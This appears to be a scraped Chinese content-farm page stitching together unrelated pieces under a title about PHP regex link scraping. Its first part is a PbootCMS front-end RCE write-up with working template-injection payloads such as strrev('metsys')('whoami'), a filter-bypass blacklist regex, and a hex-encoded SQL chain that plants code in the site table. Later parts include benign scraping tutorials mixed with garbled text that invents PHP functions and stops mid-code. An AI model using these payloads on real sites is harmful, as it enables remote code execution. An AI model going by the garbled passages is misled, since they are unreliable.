　　php正则函数抓取网页连接(
渗透测试、学习视频300PDF等你学习(一)
)
　　
　　前言
　　本文记录前端RCE的挖矿过程。由于cms前几天才修复，所以记录下挖矿过程
　　然后直接看代码，首先目标还是解析if标签的代码块，看三个规律
　　/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/
/([\w]+)([\x00-\x1F\x7F\/\*\\%\w\s\\\\]+)?\(/i
/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i
　　如果您没有耐心阅读它，请参阅此处：
　　我是一名网络安全工作者。我喜欢安全，爱安全。另外，我整理了一些渗透测试，学习视频300PDF等，供大家学习（文字只是正文的一部分）。如果你有兴趣，你可以保存并阅读它。
　　需要300PDF网络安全资料请关注我： 私信回复“资料”，获取更多网络安全采访资料、源码、笔记、视频架构技术
　　与上一版本相比，第三条规则更多(([\w\s.]+))如图
　　
　　这里猜测是开发者想在if标签中禁止条件代码段中括号的内容，但是经过测试xxx(“xxx”)的形式可以忽略规律，不影响我们的代码执行，现在if我们可以直接编辑模板，以执行系统功能为目标，研究如何执行代码；
　　为了绕过系统的定期检查，可以使用以下方法绕过
　　strrev(&#39;metsys&#39;)(&#39;whoami&#39;);
　　那么很容易想到使用下面的payload测试
　　{pboot:if(1) strrev(&#39;metsys&#39;)(&#39;whoami&#39;);//)}y7m01i{/pboot:if}
　　测试后会发现无法执行，因为无法绕过第二条规律。我们可以通过简单的输出打印程序的安全验证。
　　
　　
　　可以看到这里strrev是一个定义好的函数，所以语句被截取了，那我们试试在strrev前面加一些字符看看情况
　　{pboot:if(1) xxx strrev(&#39;metsys&#39;)(&#39;whoami&#39;);//)}y7m01i{/pboot:if}
　　
　　可以看到有eval执行错误信息，说明我们成功绕过了验证，eval执行了我们输入的内容，但是执行当前内容的时候出错了，所以接下来的目标就很明确了，我们我需要找一个可以替换xxx的内容，这样eval执行就不会报错；经过搜索，我找到了这样的内容
　　
　　只是为了测试
　　
　　确实符合我们的要求，试试下面的payload
　　{pboot:if(1) echo strrev(&#39;metsys&#39;)(&#39;whoami&#39;);//)}y7m01i{/pboot:if}
　　
　　成功执行系统功能后，经过思考和测试，也可以使用注释，如下
　　{pboot:if(1) /*y*/ strrev(&#39;metsys&#39;)(&#39;whoami&#39;);//)}y7m01i{/pboot:if}
　　但是像这样执行命令是不够的。我们需要找到一个用户可控的点来解析 if 标签。在上面的参考 文章 中，我们可以很容易地解析我们在前台搜索函数中输入的内容。标签，并用于替换 pboot@如果你可以使用
　　
　　{pboot{user:password}:if
　　
　　此表单被绕过，但在此版本中删除了 decode_string 函数。单引号和双引号在标签解析时被编码，无法正常解析。但是从前面的分析可知，我们当前的使用方式需要使用双引号来绕过第二次正则检查，目前暂时无法在前台搜索中使用，所以需要查找是否有其他使用方式，并配合我们目前拥有的条件使用。
　　在查看 cms 更改日志时，我发现了这个描述
　　
　　程序新增了一个解析sql的标签，这意味着我们可以在前台使用搜索功能来执行我们想要的sql语句。这时，我的脑海中初步出现了一条应用链；我们知道，在以前的版本中，我们可以使用后台配置中插入的标签语句，最终语句存储在数据库中。如果我们可以使用前台搜索功能执行sql语句并将标签插入到数据库中，我们可以直接RCE跨后台配置功能，那么目前我们面临两个问题需要澄清；
　　1.标签应该写在哪个表的那个字段
　　2.前端搜索函数如何执行我们的sql语句
　　首先，第一个问题很容易解决。在之前的版本中，我们在站点信息的尾部信息处写了label，对应ay_site表中的copyright字段，所以写label的初始语句为：
　　update ay_site set copyright= (标签的16进制，避免引号) where id = 1;
　　接下来我们看一下解析sql标签的代码
　　 // 解析自定义SQL循环
public function parserSqlListLabel($content)
{
$pattern = &#39;/\{pboot:sql(\s+[^}]+)?\}([\s\S]*?)\{\/pboot:sql\}/&#39;;
$pattern2 = &#39;/\[sql:([\w]+)(\s+[^]]+)?\]/&#39;;
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
// 获取调节参数
$params = $this->parserParam($matches[1][$i]);
if (! self::checkLabelLevel($params)) {
$content = str_replace($matches[0][$i], &#39;&#39;, $content);
continue;
}
$num = 1000; // 最大读取1000条
$sql = &#39;&#39;;
foreach ($params as $key => $value) {
switch ($key) {
case &#39;num&#39;:
$num = $value;
break;
case &#39;sql&#39;:
$sql = $value;
break;
}
}
// 特殊表不允许输出
if (preg_match(&#39;/ay_user|ay_member/i&#39;, $sql)) {
$content = str_replace($matches[0][$i], &#39;&#39;, $content);
continue;
}
// 判断是否有条数限制
if ($num && ! preg_match(&#39;/limit/i&#39;, $sql)) {
$sql .= " limit " . $num;
}
// 读取数据
if (! $data = $this->model->all($sql)) {
$content = str_replace($matches[0][$i], &#39;&#39;, $content);
continue;
}
// 匹配到内部标签
if (preg_match_all($pattern2, $matches[2][$i], $matches2)) {
$count2 = count($matches2[0]); // 循环内的内容标签数量
} else {
$count2 = 0;
}
$out_html = &#39;&#39;;
$pagenum = defined(&#39;PAGE&#39;) ? PAGE : 1;
$key = ($pagenum - 1) * $num + 1;
foreach ($data as $value) { // 按查询数据条数循环
$one_html = $matches[2][$i];
for ($j = 0; $j < $count2; $j ++) { // 循环替换数据
$params = $this->parserParam($matches2[2][$j]);
switch ($matches2[1][$j]) {
case &#39;n&#39;:
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html);
break;
case &#39;i&#39;:
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key), $one_html);
break;
default:
if (isset($value->{$matches2[1][$j]})) {
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $one_html);
}
}
}
$key ++;
$out_html .= $one_html;
}
$content = str_replace($matches[0][$i], $out_html, $content);
}
}
return $content;
}
　　安全过滤器之一
　　
　　sql语句不允许对ay_user和ay_member这两张表进行操作，但是不影响我们往数据库写标签；然后看这段代码，重点是this-&gt;parserParam(this-&gt;parserParam(this-&gt;parserParam(matches[1][$i]);,
　　跟进方法
　　
　　让我们打印解析后的内容，并使用以下标签进行测试
　　{pboot:sql sql=update ay_site set copyright= 0x68656c6c6f where id = 1;#}11{/pboot:sql}
　　
　　该语句未正确解析。仔细看源码，应该是split语句的规律性匹配的。尝试用评论替换空格。
　　{pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6f/**/where/**/id/**/=/**/1;#}11{/pboot:s
　　
　　成功解析到我们想要的语句，去前台执行
　　
　　数据库中的内容已经更新成功，将hello替换为我们的label语句
　　{pboot:sql sql=update//ay_site//set//copyright=//0x67b70626f6f747b757365723a70617373776f72647d3a6966283129656368
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　　php正则函数抓取网页连接(include以代码形式执行）papo（php对象模型正则）)
　　php正则函数抓取网页连接，需要两个条件，file_get_urlencode(str)和public_handler，如果一个函数同时满足这两个条件，则可以用正则re_replaceall()获取到；一个条件，返回空白则不行。正则一些常用的函数：正则ansi_number（pc3+）pretty_replacement（用来反向替换^，类似正则replace-replaceall）general_replacement（用来一部分反向替换，类似正则replaceall）pediatask（用来直接跳转到指定链接。
　　include以php代码形式执行）papo（php对象模型正则）multi_replacement（使用多个正则表达式的组合比对）。
　　多项取值，
　　如果请求的是jsp页面，需要查一个jsp的dom，然后匹配or(a&)就可以拿到jsp页面的所有html信息了，
　　\xxxx\xxxx\xxxx\xxxx这么多匹配条件，
　　请求没错误，问题出在shortparser/grep和ansi_number的匹配范围上。另外正则的高阶组合也是匹配jsp和html的，而不是匹配php。
　　php的正则要匹配jsp内嵌html而不是仅仅拿到jsp里的首页的url再去匹配html其中就存在一个css1正则的匹配问题你可以试试base64转php\div\html很顺利除非某天php出api了那就更不用说了 查看全部

　　php正则函数抓取网页连接(PHP正则表达式如何处理将要打开文件的标识和几种形式？)
　　最近有个任务，要从页面中抓取页面中的所有链接。当然，使用 PHP 正则表达式是最方便的方式。写正则表达式，首先要总结一下模式，那么页面中的链接会有多少种形式呢？
　　链接，也称为超链接，是从一个元素（文本、图像、视频等）到另一个元素（文本、图像、视频等）的链接。网页中的链接一般分为三种，一种是绝对URL超链接，即一个页面的完整路径；另一种是相对URL超链接，一般链接到同一个网站的其他页面；是页面内的超链接，通常链接到同一页面内的其他位置。
　　搞清楚链接的类型，就知道抓取链接主要有绝对URL超链接和相对URL超链接。要编写正确的正则表达式，我们必须了解我们要查找的对象的模式。
　　首先，绝对链接，也称为 URL（统一资源定位器），用于标识 Internet 上的唯一资源。URL的结构由三部分组成：协议、服务器名、路径和文件名。
　　协议是告诉浏览器如何处理要打开的文件的标识符，最常见的是http协议。本文只考虑 HTTP 协议。至于其他的https、ftp、mailto、telnet协议等，也可以根据需要添加。
　　服务器名是告诉浏览器如何到达服务器的方式，通常是域名或IP地址，有时还有端口号（默认为80）。在FTP协议中，还可以收录一个用户名和密码，本文不涉及）。经过考虑的。
　　路径和文件名，通常用 / 分隔，表示文件的路径和文件本身的名称。如果没有具体的文件名，则访问该文件夹中的默认文件（可以在服务器端设置）。
　　现在很清楚，爬网的绝对链接的典型形式可以概括为
　　每个部分可以使用的字符范围都有明确的规定。有关详细信息，请参阅 RFC1738。然后就可以写正则表达式了。 查看全部

　　php正则函数抓取网页连接(
2022-02-22:28·燃烧的狗尿苔
)
　　Linux Shell 脚本最佳实践
　　2022-02-22 10:28 烧狗尿苔
　　大家好！我是博哥！
　　最近做了一个简单版的互联网行业新闻小程序。
　　有兴趣的可以点击下方链接或微信搜索：IT Roadside Agency
　　IT 路边代理
　　前言
　　与其他编码标准一样，本次讨论不仅是关于编码格式的美学，还包括一些约定和编码标准。本文档主要关注我们通常遵循的规则，并且我们尽量避免对未明确规定的规则提供意见。
　　为什么要有编码标准
　　由于以下几个原因，编码约定对程序员尤其重要：
　　本文档中的指南旨在最大限度地遵循以下原则：
　　虽然本文档涵盖了许多基础知识，但需要注意的是，没有任何编码约定可以为我们解答所有问题，开发人员在编写代码后始终需要对上述原则做出良好的判断。
　　代码规范级别定义
　　注意：如果不指定，默认为强制（Mandatory）
　　主要参考以下文档：
　　源文件基本使用场景
　　Shell 仅推荐用于相对简单的实用程序或包装脚本。因此，单个shell脚本的内容不宜过于复杂。
　　选择何时使用 shell 脚本时，请遵循以下准则：
　　文件名
　　可执行文件不建议有扩展名，库文件必须使用 .sh 作为扩展名并且应该是不可执行的。
　　执行程序时，不需要知道其编写的语言，shell 脚本也不需要扩展名，因此可执行文件更有可能没有扩展名。
　　了解库文件的编写语言非常重要。使用 .sh 作为特定语言后缀的扩展，可以与其他语言编写的库文件区分开来。
　　文件名要求全部小写，可以收录下划线_或连字符-，建议可执行文件使用连字符，库文件使用下划线。
　　正面例子：
　　my-useful-binmy_useful_libraries.shmyusefullibraries.sh
　　反例：
　　My_Useful_BinmyUsefulLibraries.sh 查看全部

　　php正则函数抓取网页连接(目录什么是网络爬虫？爬虫的工作原理是什么？
)
　　内容
　　什么是网络爬虫？
　　爬虫的原理是什么？
　　1、获取百度图片中“皮卡丘图片”的网址
　　2、获取此页面的完整代码
　　3、在代码中查找图片链接
　　4、根据图片链接写一个通用的正则表达式
　　5、通过设置的正则表达式匹配代码中所有匹配的图片链接
　　6、一一打开图片链接，下载图片
　　你好！大家好，我是一只为了赚钱买发水的小灰猿。很多学过Python的小伙伴都希望拥有一个属于自己的爬虫，那么今天大灰狼就给小伙伴们分享一个简单的爬虫程序。.
　　请允许我在这里为我的朋友出售通行证。
　　什么是网络爬虫？
　　所谓网络爬虫，简单来说就是通过程序打开一个特定的网页，对网页上存在的一些信息进行爬取。想象一下，如果把一个网页比作一片田地，爬行动物就是生活在这片田地里的昆虫，从田地的头到尾爬行，只捕食田地里的某一种食物。哈哈，比喻有点粗略，但是网络爬虫的实际作用和这个差不多。
　　想了解更多的朋友也可以看我的文章文章《Python一分钟带你探索不为人知的网虫！》它！
　　爬虫的原理是什么？
　　那么有的朋友可能会问，爬虫是怎么工作的呢？
　　举个栗子：
　　我们看到的所有网页都是由特定的代码组成的，这些代码涵盖了网页中的所有信息。当我们打开一个网页时，按 F12 键可以查看该页面的内容。代码已准备就绪。我们以百度图片搜索皮卡丘的网页为例。按下 F12 后，可以看到下面的代码覆盖了整个网页的所有内容。
　　
　　以一个爬取“皮卡丘图片”的爬虫为例，我们的爬虫要爬取这个页面上所有的皮卡丘图片，那么我们的爬虫要做的就是在这个页面的代码中找到皮卡丘图片的链接，并且从此链接下载图片。
　　所以爬虫的工作原理就是从网页的代码中查找并提取特定的代码，**与从很长的字符串中查找特定格式的字符串是一样的，**对这块知识感兴趣的朋友也可以阅读我的文章文章《Python实战中的具体文本提取，挑战高效办公的第一步》，
　　了解了以上两点之后，就是如何编写这样的爬虫了。
　　Python爬虫常用的第三方模块有urllib2和requests。大灰狼个人认为urllib2模块比requests模块复杂，所以这里以requests模块为例编写爬虫程序。
　　以爬取百度皮卡丘图片为例。
　　根据爬虫的原理，我们的爬虫程序应该做的是：
　　获取百度图片中“皮卡丘图片”的网页链接 获取网页的所有代码 在代码中找到图片的链接 根据图片链接写一个通用的正则表达式 匹配代码中所有符合要求的图片链接通过设置的正则表达式一张一张打开图片链接下载图片
　　接下来大灰狼就按照上面的步骤跟大家分享一下这个爬虫的准备工作：
　　1、获取百度图片中“皮卡丘图片”的网址
　　首先我们打开百度图片的网页链接
　　
　　然后打开关键字搜索“皮卡丘”后的链接
　　%E7%9A%AE%E5%8D%A1%E4%B8%98
　　
　　作为对比，去掉多余部分后，我们可以得到百度图片关键词搜索的一般链接长度如下：
　　现在我们的第一步是获取百度图片中“皮卡丘图片”的网页链接，下一步就是获取网页的所有代码
　　2、获取此页面的完整代码
　　这时候我们可以先使用requests模块下的get()函数打开链接
　　然后，通过模块中的text函数获取网页的文本，也就是所有的代码。
　　1url = "http://image.baidu.com/search/ ... rd%3D皮卡丘"
2urls = requests.get(url) #打开链接
3urltext = urls.text #获取链接文本
4
　　3、在代码中查找图片链接
　　这一步我们可以先打开网页的链接，按大灰狼开头说的方法，按F12查看网页的所有代码，然后如果我们要爬取jpg中的所有图片格式，我们可以按 Ctrl+F 代码来查找特定的东西，
　　比如我们在这个网页的代码中找到带有jpg的代码，然后找到类似下图的代码，
　　
　　链接就是我们想要获取的内容，如果我们仔细观察这些链接，会发现它们是相似的，即每个链接前都会有“OpjURL”：提示，最后以“,
　　我们取出其中一个链接
　　访问，发现图片也可以打开。
　　
　　所以我们可以暂时推断出百度图片中jpg图片的一般格式为“”OpjURL“:XXXX”，
　　4、根据图片链接写一个通用的正则表达式
　　既然我们知道了这类图片的一般格式是“"OpjURL":XXXX"”，那么接下来就是按照这种格式写正则表达式了。
　　1urlre = re.compile(&#x27;"objURL":"(.*?)"&#x27;, re.S)
2# 其中re.S的作用是让正则表达式中的“.”可以匹配所有的“\n”换行符。
3
　　不知道如何使用正则表达式的同学，也可以看看我的两篇文章文章《Python 中的正则表达式教程（基础）》和《Python 教程中的正则表达式（改进）》
　　5、通过设置的正则表达式匹配代码中所有匹配的图片链接
　　上面我们已经写好了图片链接的正则表达式，接下来就是通过正则表达式匹配所有的代码，得到所有链接的列表
　　1urllist = re.findall(urltext)
2
3#获取到图片链接的列表，其中的urltext为整个页面的全部代码，
4
　　接下来，我们用几行代码来验证我们通过表达式匹配到的图片链接，并将所有匹配到的链接写入txt文件：
　　1with open("1.txt", "w") as txt:
2    for i in urllist:
3        txt.write(i + "\n")
4
　　之后，我们可以在这个文件下看到匹配的图片链接，复制任意一个即可打开。
　　
　　6、一一打开图片链接，下载图片
　　现在我们已经将所有图片的链接存储在列表中，下一步就是下载图片了。
　　基本思路是：通过一个for循环遍历列表中的所有链接，以二进制形式打开链接，新建一个.jpg文件，将我们的图片以二进制形式写入文件中。
　　这里为了避免下载太快，我们每次下载前休眠3秒，每个链接的访问时间最多5秒。如果访问时间超过五秒，我们将判断下载失败，继续下载下一章。图片。
　　至于为什么我们用二进制打开和写入图片，我们的图片需要经过二进制解析才能被计算机写入。
　　图片下载代码如下，下载次数设置为3：
　　1i = 0
2for urlimg in urllist:
3    time.sleep(3)   # 程序休眠三秒
4    img = requests.get(urlimg, timeout = 5).content     # 以二进制形式打开图片链接
5    if img:
6        with open(str(i) + ".jpg", "wb") as imgs:   # 新建一个jpg文件，以二进制写入
7            print("正在下载第%s张图片 %s" % (str(i+1), urlimg))
8            imgs.write(img)     #将图片写入
9            i += 1
10        if i == 3:  #为了避免无限下载，在这里设定下载图片为3张
11            break
12    else:
13        print("下载失败！")
14
　　至此，一个简单的爬取百度皮卡丘图片的爬虫就完成了，小伙伴们还可以随意更改图片关键词和下载次数，来培养自己的爬虫。
　　最后附上完整的源码：
　　1import requests
2import re
3import time
4url = "http://image.baidu.com/search/ ... rd%3D皮卡丘"
5urls = requests.get(url) # 打开链接
6urltext = urls.text # 获取链接全部文本
7urlre = re.compile(&#x27;"objURL":"(.*?)"&#x27;, re.S) # 书写正则表达式
8urllist = urlre.findall(urltext) # 通过正则进行匹配
9
10with open("1.txt", "w") as txt: # 将匹配到的链接写入文件
11 for i in urllist:
12 txt.write(i + "\n")
13i = 0
14
15# 循环遍历列表并下载图片
16for urlimg in urllist:
17 time.sleep(3) # 程序休眠三秒
18 img = requests.get(urlimg, timeout = 5).content # 以二进制形式打开图片链接
19 if img:
20 with open(str(i) + ".jpg", "wb") as imgs: # 新建一个jpg文件，以二进制写入
21 print("正在下载第%s张图片 %s" % (str(i+1), urlimg))
22 imgs.write(img) #将图片写入
23 i += 1
24 if i == 3: #为了避免无限下载，在这里设定下载图片为3张
25 break
26 else:
27 print("下载失败！")
28
29print("下载完毕！")
30
31
　　如果觉得有用，记得点赞关注****！
　　大灰狼期待与您共同进步！
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　　php正则函数抓取网页连接(PHP、java、javascript、python，python里重要的一部分)
　　除了C/C++，我还接触过很多流行的语言，比如PHP、java、javascript、python。其中，python可以说是操作最方便，缺点最少的语言。
　　前几天想写爬虫的，但是和朋友商量后，决定过几天一起写。爬虫的一个重要部分就是爬取页面中的链接，这里我就简单实现一下。
　　首先我们需要使用一个开源模块，requests。这不是python自带的模块，需要从网上下载解压安装：
　　$ curl -OL https://github.com/kennethreit ... aster
　　$ python setup.py install
　　Windows用户直接点击下载。解压后，使用命令 python setup.py install 在本地安装。
　　我也在慢慢翻译这个模块的文档，翻译完会上传给大家（英文版先在附件中发）。正如它的描述所说，为人类建造，为人类设计。使用起来很方便，自己看文档。最简单的，requests.get() 发送一个 get 请求。
　　代码显示如下：
<p># coding:utf-8
import re
import requests
# 获取网页内容
r = requests.get('http://www.163.com')
data = r.text
# 利用正则查找所有连接
link_list =re.findall(r"(? 查看全部

　　php正则函数抓取网页连接(php正则函数抓取网页连接都不用编译，直接读取)
　　php正则函数抓取网页连接都不用编译，直接读取，定制化支持多语言不同格式的response。实现一些功能通常很简单，比如原文、图片的互转、处理get返回的页面的字符串等等。也可以用html来做php转换，避免form控件的cookie，也无需导入第三方工具或apache/nginx等中间页面加载一般支持多种格式的文件，有phpxmlp,htmlxml,xmlp,bytesin,mymbol等等，虽然同属bytehttppost传输协议。
　　其中phpxmlp、htmlxml、xmlp、mymbol还支持参数化，方便二次开发。此外，php可以支持https连接，这也是一个极其有用的功能。
　　好用的库就那么多，选择多意味着选择成本高，尤其是结合实际业务场景去做对比，这里就不打广告了，推荐用到算法，基本不会失手。使用到模板引擎等技术，尽可能去规避使用效率和代码复杂度不匹配的问题。如果是正则提取内容的问题，按道理在生产环境，正则表达式只是定位库而不是核心的解析库，也就是说仅仅提取特定的内容还是可以完成的，所以即使有这么大的体量，商业软件还是会有人使用正则表达式，比如百度网页抓取有正则表达式的配置，而其它正则表达式库没有做好归并。
　　其他生产库有为tds和mime等考虑还是没有问题的。而如果要解析特定的content，只能用html模板引擎，因为其他无法使用可视化的编辑器来做正则表达式匹配的code-based实现，不过目前的方案基本也都是使用tds来做匹配，也不会复杂多少。比如facebook的igoogle就有很多类似方案，基本上都是结合搜索工具实现的，通过统计用户的行为来做数据分析。 查看全部

　　php正则函数抓取网页连接(京东商城商品详情为例抓取操作相关技巧(组图))
　　本文章主要介绍C#中使用“target="_blank"&gt;正则表达式捕获网站信息，并结合实例分析C#正则抓取网页信息的相关技巧。参考参考值，有需要的朋友可以参考以下
　　本文的例子描述了C#使用正则表达式捕获网站信息的方法。分享给大家参考，详情如下：
　　这里以抓取京东商城商品详情为例。
　　1、创建JdRobber.cs程序类
<p>public class JdRobber
{
///
/// 判断是否京东链接
///
///
///
public bool ValidationUrl(string url)
{
bool result = false;
if (!String.IsNullOrEmpty(url))
{
Regex regex = new Regex(@"^http://item.jd.com/\d+.html$");
Match match = regex.Match(url);
if (match.Success)
{
result = true;
}
}
return result;
}
///
/// 抓取京东信息
///
///
///
public void GetInfo(string url)
{
if (ValidationUrl(url))
{
string htmlStr = WebHandler.GetHtmlStr(url, "Default");
if (!String.IsNullOrEmpty(htmlStr))
{
string pattern = ""; //正则表达式
string sourceWebID = ""; //商品关键ID
string title = ""; //标题
decimal price = 0; //价格
string picName = ""; //图片
//提取商品关键ID
pattern = @"http://item.jd.com/(?\d+).html";
sourceWebID = WebHandler.GetRegexText(url, pattern);
//提取标题
pattern = @"[\s\S]*(?.*?)";
title = WebHandler.GetRegexText(htmlStr, pattern);
//提取图片
int begin = htmlStr.IndexOf(" 查看全部

　　php正则函数抓取网页连接(php正则函数抓取网页连接：如何在网页底部嵌入代码)
　　php正则函数抓取网页连接：可以参考[1],[2])。此处抓取的页面为：抓取的链接为：/blog/blog/此时，path通过正则匹配就会转化为list的形式（不妨利用字符串函数split_list()将path转化为一个list：list=list()forpin'p/blog/blog/public/public':ptoconcatenate(p'/\\p/blog/blog/\/p/\/blog/')tomergelistconcatenate(to_blog_path);效果如下：sphinx对正则表达式的匹配展开见下[3],[4]),[5]),[6])。
　　不要问linux如何解决类似问题！请自己看代码！
　　ddl还没到，慢慢加代码啊，看你代码这么小还没到ddl。
　　难道是网页数据参考部分太大了？
　　我想知道如何做出[1]中[3]中这样的结果，[4]中[5]中的[7]是怎么做出来的。
　　一，写正则第二，
　　最近写了些爬虫，打开知乎看看，感觉怎么没人提linux，
　　ddl没到急着写代码！
　　re.search[blog.nameforbloginddl]linux下是否有大量类似代码
　　昨天刚遇到，挂了n个线程发现大量无用代码，
　　1.参考linuxtutorials2.查看如何在网页底部嵌入代码 查看全部

　　php正则函数抓取网页连接(
循环中则自动默认使用当前文章的标题，也就是title)
　　WordPress中获取页面链接和标题的PHP相关函数使用分析
　　更新时间：2015-12-17 15:11:37 作者：郭斌
　　本文文章主要介绍WordPress中获取页面链接和标题的相关PHP函数的使用分析，分别是get_permalink()和wp_title()函数的使用。有需要的朋友可以参考以下
　　get_permalink() （获取 文章 或页面链接）
　　get_permalink() 用于根据固定连接返回文章或页面的链接。获取链接时，get_permalink()函数需要知道要获取的文章的ID。如果在循环中，默认会自动使用当前的文章。
　　用法
　　get_permalink( $id, $leavename );
　　范围
　　$id
　　（混合）（可选）文章 或页面 ID（整数）；也可以是 文章 对象。
　　默认值：自动循环调用当前的文章
　　$请假名
　　(bool) (可选) 转换为链接时是否忽略 文章 别名。如果设置为 True，将返回 %postname% 而不是
　　默认值：无
　　返回值
　　(string | boolean) 成功返回链接，失败返回 False。
　　例子
　　通过 ID 获取 文章 或指向页面的链接：
　　其他
　　可以使用 wp_title 过滤器自定义标题，该函数位于：wp-includes/general-template.php 查看全部

　　php正则函数抓取网页连接(10个实用的PHP正则表达式的写法(组图)汇总)
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　　nginx_notesharing_4_starts 从 301 重定向
　　
　　
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　　日常工作中使用301重定向的情况有很多：比如网页目录结构变化、网页重命名、网页扩展名变化、网站域名变化、SEO优化等，301重定向可以轻松实现使页面跳转到。参考URL重写模块一、先改配置文件[root@slave logs]# cat ../c
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　　php正则函数抓取网页连接(php正则函数抓取网页连接时，要检查整个字符串是否有多余的字符)
　　php正则函数抓取网页连接时，要检查整个字符串是否有多余的字符，所以后面php代码使用char或scanf()函数将所有字符转义。网页连接类型有：url_http_all,url_http_const,url_http_all_list,url_http_all_list_ext,php_data.html类型,php_mbstring类型,php_dict类型,但无法全部定义。
　　url_http_all和url_http_const被认为是一对动态类型，现在没有办法安全的使用,所以现在限制只支持php_dict中的动态类型。加上url_http_all以后，任何url类型的方法和函数都是不安全的。在url_http_all_list_ext中，其中带数组的就是一对字符串转义操作，普通的字符串转义操作是不安全的，默认php不支持转义字符，all_list就是一个url_http_all_list_ext中带上一个数组，表示是否转义字符串。
　　但如果我们有另外一个列表：all_list_ext，也就是一个列表，它也有上述的all_list_ext的转义功能，不过它使用的是特殊字符,all_list_ext中带private_data(它是scheme的名字，在此remove一下))来转义。如下：$results=all_list_ext['email'];foreach($results->foreach('localhost')){$info="你的域名:"+results['email']+"";}使用一些特殊字符作为一个字符串转义操作的键值是一个简单的做法，就是一个函数，它没有类型，因为它使用方式不同于其他代码类型，其包含参数private_data作为字符串转义操作的键值，它将其映射到字符串'email'，php_dict（它也是scheme）作为字符串转义操作的键值，它将其映射到字符串'localhost'，但这个函数需要其他部分和字符串格式规则匹配。
　　如果编译器禁止查看两个字符串匹配的格式规则，那么使用此方法通常会得到大量的可能语法。一个简单的做法就是禁止查看哪个参数会在多少个参数中匹配多少次字符，即查看它对应的实参是否是字符串'email'。一个更好的办法是避免all_list_ext返回值的转义操作。请看下面的例子：#!/usr/bin/envpython#-*-coding:utf-8-*-fromurllib.requestimporturlopenimporturllib2url=''headers={'user-agent':'mozilla/5.0(windowsnt6.1;win64;x64)applewebkit/537.36(khtml,likegecko)chrome/50.0.3623.20safari/537.36'}urlopen(url,'r',mode='w')#orfromhttp.requestimportreques。 查看全部